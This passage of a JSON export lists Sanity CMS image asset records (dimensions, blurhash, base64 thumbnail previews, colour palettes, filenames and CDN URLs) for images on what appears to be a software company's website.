Swatch","background":"#8b433c","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6620e","foreground":"#fff","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4ce","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8489","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6620e","foreground":"#fff","population":0.61,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Subprocessors_subcontractors_meta_preview.jpeg","path":"images/sczeoy4w/production/e910433dc39dca33ba7817a33ebb4f380175ccf6-476x250.jpg","sha1hash":"e910433dc39dca33ba7817a33ebb4f380175ccf6","size":25613,"uploadId":"4x1LnTi4N06Dw583WPi6paoE2qBpGuyC","url":"https://cdn.sanity.io/images/sczeoy4w/production/e910433dc39dca33ba7817a33ebb4f380175ccf6-476x250.jpg"} {"_createdAt":"2022-06-30T19:59:59Z","_id":"image-e91f8603db19fc232882d846caac57db9d700e67-1298x335-png","_rev":"A5seFJXEmkKSGRuwsCHmDp","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:08:06Z","altText":"Test topic message","assetId":"e91f8603db19fc232882d846caac57db9d700e67","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBT9IsyXVYtlRP}]X-VYo~aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.8746268656716416,"height":335,"width":1298},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoElEQVQYlYVQuw7CMAzM/38WC0LsLKwIWFBFFbVx7PMhJ2EqKsMpUe7hc9I8z8w5s5RCK0JIpVWlqVJr7Yi7VKLx0t5C52uhT2/65Uo/HOmnM5OIMBAmmNHNCGCL4LTz32GoPRSvibjdiceTyYbB3f9j6EIfBSyGjGGxFdSYqvaVzPZDw9x0MMK3JTDOVGLl8U97TYNfy8pFFwqkhf7SfQAPKolwIRQ/GAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c10","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#790b0e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed3d42","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7b1bd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc849c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed3d42","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"e91f8603db19fc232882d846caac57db9d700e67-1298x335.png","path":"images/sczeoy4w/production/e91f8603db19fc232882d846caac57db9d700e67-1298x335.png","sha1hash":"e91f8603db19fc232882d846caac57db9d700e67","size":45279,"title":null,"uploadId":"8cTn9TTNymiWGk5yPzuZ87aJWoKiShUG","url":"https://cdn.sanity.io/images/sczeoy4w/production/e91f8603db19fc232882d846caac57db9d700e67-1298x335.png"} {"_createdAt":"2024-06-10T15:22:58Z","_id":"image-e92953fb1caf9f15ef0391b443acae114c53dd3f-2894x900-png","_rev":"oFiEE05U1PQErozi7WC7rO","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:58Z","assetId":"e92953fb1caf9f15ef0391b443acae114c53dd3f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DDR{x.D-IBs:_L_3bbofoLRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2155555555555555,"height":900,"width":2894},"exif":{"PixelXDimension":2894,"PixelYDimension":900,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABKUlEQVQYlU2R2W7CMBBF+f8Pa6WuKlVLFwSCkkD2EMexPTacykZUfbiSH66P5szMJitMk1BkA9/zA8vXgmqvMCZgXcBYj4kdK1jnEQmI9bh/ERcQOeEkMIufIuDjKeftPuPtLuPzeU9T6FQSfyk6f0qwSU2MVc94aFN02WE6hRjBhzMzYzzrRcXiIU/gMht4f8jYfjVYEwinc4JewUOvaLKSarWnXu/pdwd00yLWEa7A1XvJx2NOW000pU7wzWedtMOJP6D4gNaGtu4pspoir+nqFjOOeO9TNykffo5pqqgdwYvHnDJXSTlqXIE+TukC42jouoGuVyhtcM6nXlKejKCUZbtseLnZML/dslu16NFddieX48TEdzzSUWnabqDtB45qSkeLO475BcvPyl7YrakRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#68686c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d265e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1b1bb","foreground":"#000","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b1bb","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2b2ca","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f5ca5","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#926ec4","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"positive-sentiment.png","path":"images/sczeoy4w/production/e92953fb1caf9f15ef0391b443acae114c53dd3f-2894x900.png","sha1hash":"e92953fb1caf9f15ef0391b443acae114c53dd3f","size":433625,"uploadId":"IMXpyNJQaUs8rPD1WeGS2ocHMwRq7Iu1","url":"https://cdn.sanity.io/images/sczeoy4w/production/e92953fb1caf9f15ef0391b443acae114c53dd3f-2894x900.png"} {"_createdAt":"2022-10-25T08:36:48Z","_id":"image-e92a99454179834b89e8a877969082408c2191fc-894x450-png","_rev":"RPJ6QkJpxJAiV3cKZYHXoD","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T08:36:48Z","assetId":"e92a99454179834b89e8a877969082408c2191fc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S6Pl?I_1_4Ns5r$%x?xHRiAv%1VYM{n%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9866666666666666,"height":450,"width":894},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQokV2Q3W7kIAxG5/2frne9287OzCYkBLAxtvlJpQqSnXZqHVlIH8cWXJiZRjEzi/qkE/IET+Q8IM8DE3UhtVRA6iVGAkAAGANkgXS1+Mfih40fZ4/Xjf66k0fgB6Y7BBPhoqrM0peqMCVv3TKv87waY81sjdnWNXiPIZwgxM2vV/t+c++XUkrOJfeeBRGnyd3u2+3u7qM/5rhYdS4feF9CIPdvWt6m9e2QzxIisJszZrBsZvHWUYiZKBMposZYmYtQSmtK66ssAoDO+UHwATEmFj1TZhFprX1+7vveWmu/ZQTs3lD7C3/KIqraWttHtX1/kfvnRUzgOwiJKLH8d3ucs9ZSaj2oL3KPhTOnjvC4nZ9uUamSKtNBU7kcC5/1PWgM+5lmSTWGCq6DvnH6Akp8OMF66yJ0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c8a0e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42780c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4d3","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c4d3","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48c8c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748cac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98ec44","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e92a99454179834b89e8a877969082408c2191fc-894x450.png","path":"images/sczeoy4w/production/e92a99454179834b89e8a877969082408c2191fc-894x450.png","sha1hash":"e92a99454179834b89e8a877969082408c2191fc","size":15533,"uploadId":"SlcPoxx5PkL1NpiiIrdDoVshll0b73Da","url":"https://cdn.sanity.io/images/sczeoy4w/production/e92a99454179834b89e8a877969082408c2191fc-894x450.png"} {"_createdAt":"2022-09-07T06:38:55Z","_id":"image-e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333-jpg","_rev":"cEPH2uRN58AU2lp9QO8Q2b","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:47Z","assetId":"e948e67cb31a7c117cb15cc781b351a737021d68","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7FOox00*J9G0f,+ogNHIUxV01=^d?%#^*03EKIV^i-C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACQQAAIBBAECBwAAAAAAAAAAAAEDAgAEBREhEhMGIjEyQXGB/8QAFgEBAQEAAAAAAAAAAAAAAAAABAID/8QAHhEAAgEDBQAAAAAAAAAAAAAAAQIAAwQTERJRYZH/2gAMAwEAAhEDEQA/AILBWmCvMarKXt+LVrHFel8H03VDgEzyN0xCmC41LW3cHp+KnnYtOPwErhPvWIuiCOAfqmPhuYlYzyPSQ9koQOpEftYmlqTtMTkCqCy9+zRBh8LHy94mUeJcb0aKStyzbCfYmtb5DRM5jk7oqjbtzC5Z/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3f5b","foreground":"#fff","population":4.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#902819","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ceac98","foreground":"#000","population":6.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceac98","foreground":"#000","population":6.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f16f3b","foreground":"#fff","population":0.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#956e5a","foreground":"#fff","population":6.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de4c27","foreground":"#fff","population":0.23,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333.jpg","path":"images/sczeoy4w/production/e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333.jpg","sha1hash":"e948e67cb31a7c117cb15cc781b351a737021d68","size":1202170,"uploadId":"3w6D75fxYqDHU5fXhayArXD689w3gLWa","url":"https://cdn.sanity.io/images/sczeoy4w/production/e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333.jpg"} {"_createdAt":"2022-09-30T15:22:46Z","_id":"image-e9e92dbc7d3923affd0b59749c5a528e0e4da617-1280x720-jpg","_rev":"8WeirZ6KB9gJqgJfviMYnf","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:22:46Z","assetId":"e9e92dbc7d3923affd0b59749c5a528e0e4da617","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBBAj/xAAgEAABBAICAwEAAAAAAAAAAAABAAIREgMhMUEyUWGh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8Az7mIo2sl/YSIduMfP1WGnTT7UWMHfa2CDefD9QnZHG3KFB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c544c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#081604","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c7566","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2d2dc","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3ea8e","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c7566","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4ed727","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"youtube-thumbnail-grafana-metrics-dashboard.jpg","path":"images/sczeoy4w/production/e9e92dbc7d3923affd0b59749c5a528e0e4da617-1280x720.jpg","sha1hash":"e9e92dbc7d3923affd0b59749c5a528e0e4da617","size":60298,"uploadId":"3s7CkLWujlJpK5J5nCe2oLvyMfNx47U2","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9e92dbc7d3923affd0b59749c5a528e0e4da617-1280x720.jpg"} {"_createdAt":"2022-06-06T01:57:59Z","_id":"image-e9eaeb5a333f1ac399169074ee2d03aee836e79a-476x250-jpg","_rev":"oamrAPLmQLQjd9jh7VgrMw","_type":"sanity.imageAsset","_updatedAt":"2022-06-06T01:57:59Z","assetId":"e9eaeb5a333f1ac399169074ee2d03aee836e79a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPPsbZysxaQ,.STJROspb_sp%hMdX7xbVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQf/xAAiEAACAgEEAgMBAAAAAAAAAAABAgMEAAUGESESMRQVUXH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/8QAGhEBAQADAQEAAAAAAAAAAAAAAgEAAxEiMf/aAAwDAQACEQMRAD8A75YoXXmd4rhVSeQv5k9u+7d0/TljS2vyInWT3wWUHvK6JQLLHvn+4p3DQq3L1EWYVkHkfePZ2nzmmgFPi+Zu1ta+20hLMhHmWKngddYY3rVoa8QjhiSNB6VRwMMNcRMlyNiKdRnJn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414546","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc142c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccb0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8688c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c948c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69415","foreground":"#000","population":3.47,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Service_Level_Agreement_meta_preview.jpeg","path":"images/sczeoy4w/production/e9eaeb5a333f1ac399169074ee2d03aee836e79a-476x250.jpg","sha1hash":"e9eaeb5a333f1ac399169074ee2d03aee836e79a","size":28833,"uploadId":"IzkqMNbPh7pCU4rbW2au92FrogoyBacy","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9eaeb5a333f1ac399169074ee2d03aee836e79a-476x250.jpg"} {"_createdAt":"2024-02-12T14:07:40Z","_id":"image-ea12a275f652598ab347879fea2f02eef344476e-400x400-jpg","_rev":"pSrA0vvOUlEaOistjqwIWX","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:07:40Z","assetId":"ea12a275f652598ab347879fea2f02eef344476e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7Ip*f}@00J,%g9FS5MxjF%M0|WAIpIp-o9GxutkNGV@9usm-pM|jE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":400,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAUCAwYE/8QAIxAAAgIBBAICAwAAAAAAAAAAAQIABAMFERIhBjETIkFRYf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQL/xAAcEQACAQUBAAAAAAAAAAAAAAAAARECIjEzQoH/2gAMAwEAAhEDEQA/AJuhaVgx+Q3LlhfsxABPoCdB5R45p1+l8jKqPx3VlPubKIRhl5KCdvzMMqA1GbM3IKuw79Sc8lmlWSjktGpNWoric7kE9/yJR5AdCISBeS5pK73HBJ22nv1Oriy2cOJgQjHsDreImOgj1+EG5Qw47DqpcAH9xERhoTTZ/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e3b34","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593829","foreground":"#fff","population":2.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a77160","foreground":"#fff","population":4.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#caa492","foreground":"#000","population":3.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49c8c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77160","foreground":"#fff","population":4.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4644c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"giedrius.jpeg","path":"images/sczeoy4w/production/ea12a275f652598ab347879fea2f02eef344476e-400x400.jpg","sha1hash":"ea12a275f652598ab347879fea2f02eef344476e","size":11801,"uploadId":"md8L1hFExiynkkqHcRXTKzBaUvBEaUwd","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea12a275f652598ab347879fea2f02eef344476e-400x400.jpg"} {"_createdAt":"2024-02-12T14:17:51Z","_id":"image-ea2058485e0fb8a57a7e5f190f4671391d366ae9-512x512-jpg","_rev":"pSrA0vvOUlEaOistjqxPAK","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:17:51Z","assetId":"ea2058485e0fb8a57a7e5f190f4671391d366ae9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"evIqB7W?A#oexcs:j]WCfRogR*jYj?ayoIkFj[kDfPjDn$aya{j?WC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAQDBgX/xAAhEAACAQQCAwEBAAAAAAAAAAABAgMABAUREiEGEzEUcf/EABYBAQEBAAAAAAAAAAAAAAAAAAYDBf/EACERAAICAAUFAAAAAAAAAAAAAAECABEDBAUUMRITUZGx/9oADAMBAAIRAxEAPwCm8uOOVt4JlY2xXk3Eb2d16XlDWAxgezD+1V5KQvw1nJItvKk7Addd1TPecMe0UgQGbQWraur7v1U0dPK7f7IsbK89hBJKNOyAt/aVvGoRFUfANUpglhR1cw+1Wa4nCY7PXuQ82mxtwyfkQdKq6rrcjAkFi80e+cY2pJ3qlKD6i7HNE3EORA7Mn8ayE+QxMVxccfYxIPEaHVKUpthElAT4h9uTP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f3157","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a643a","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ce988e","foreground":"#000","population":4.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ce988e","foreground":"#000","population":4.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#808cfc","foreground":"#fff","population":0.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3635e","foreground":"#fff","population":1.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6484ec","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jf.jfif","path":"images/sczeoy4w/production/ea2058485e0fb8a57a7e5f190f4671391d366ae9-512x512.jpg","sha1hash":"ea2058485e0fb8a57a7e5f190f4671391d366ae9","size":22238,"uploadId":"W2pLiVwxDONLpecJWtpCgCk4jjI8atMQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea2058485e0fb8a57a7e5f190f4671391d366ae9-512x512.jpg"} {"_createdAt":"2023-10-10T11:40:10Z","_id":"image-ea51e67820ec662a9551669bdc3e9ffc63a6c2c3-1622x693-png","_rev":"08kGRAWxLoE1evFcQVzEmp","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:40:10Z","assetId":"ea51e67820ec662a9551669bdc3e9ffc63a6c2c3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3405483405483407,"height":693,"width":1622},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABAklEQVQYlW2QiW4DIQxE+f+frHJI6ZI2YGx8AZsKNq1aqSPL4nENTHg7X963mHNGIkSc/Rj8K6KCmAFSzhkgbDECFBExM1EVEdGXRISFRV8TPPElFqnMIWdQ1d77GMPdVdXMWp9SUxZ2995Ha22eZ1nYW+/mHjIgsaiZmokIElGt08u0MlMlUXV3M5tIc2miu5qFW/zY7p+PRwKAApBXAeJRiFhrZeZ1UaUDFs5nX0+n2+X6iBFzopQKwHReP2cRqpVXHLbMZ/+2FdVwv5whxgpZCnBKBCCqfYx9392dKv/gb82AWgslblqKc1UskhMTmbe59/lsvfMKcIzx/Kt931vvXxObzWHvtd/8AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6e6b6c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#612622","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7928e","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcc4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e7477","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7928e","foreground":"#000","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"rds-details.png","path":"images/sczeoy4w/production/ea51e67820ec662a9551669bdc3e9ffc63a6c2c3-1622x693.png","sha1hash":"ea51e67820ec662a9551669bdc3e9ffc63a6c2c3","size":30987,"uploadId":"XVJOILIYwnm9C4NzEzF33FSCip0JYMeS","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea51e67820ec662a9551669bdc3e9ffc63a6c2c3-1622x693.png"} {"_createdAt":"2024-03-04T16:07:31Z","_id":"image-ea54ec63cc871f163a95c1351edb119fb10de35e-765x130-jpg","_rev":"9lf0N1nj0tQugwM8VKcMGG","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:07:31Z","assetId":"ea54ec63cc871f163a95c1351edb119fb10de35e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"45PZr$~lIQ9WDz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.884615384615385,"height":130,"width":765},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAADABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAIFB//EAB4QAAICAgIDAAAAAAAAAAAAAAECAAMRMQQFMlPR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgAB/8QAFxEBAQEBAAAAAAAAAAAAAAAAAAEDMv/aAAwDAQACEQMRAD8A27q3ayu5HZmWp7AgJ8calSeRdZz1R7rShVjgud5iIc+YqmttpyTddv2N9iIjY//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#485c35","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c7c34","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#878a8c","foreground":"#fff","population":3.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bcbe","foreground":"#000","population":1.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cdce8b","foreground":"#000","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#878a8c","foreground":"#fff","population":3.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9da749","foreground":"#000","population":2.85,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-langchain.jpg","path":"images/sczeoy4w/production/ea54ec63cc871f163a95c1351edb119fb10de35e-765x130.jpg","sha1hash":"ea54ec63cc871f163a95c1351edb119fb10de35e","size":29218,"uploadId":"80iwtm6VpAu6Ak5AN4ymiTcFl8B5ZDK1","url":"https://cdn.sanity.io/images/sczeoy4w/production/ea54ec63cc871f163a95c1351edb119fb10de35e-765x130.jpg"} 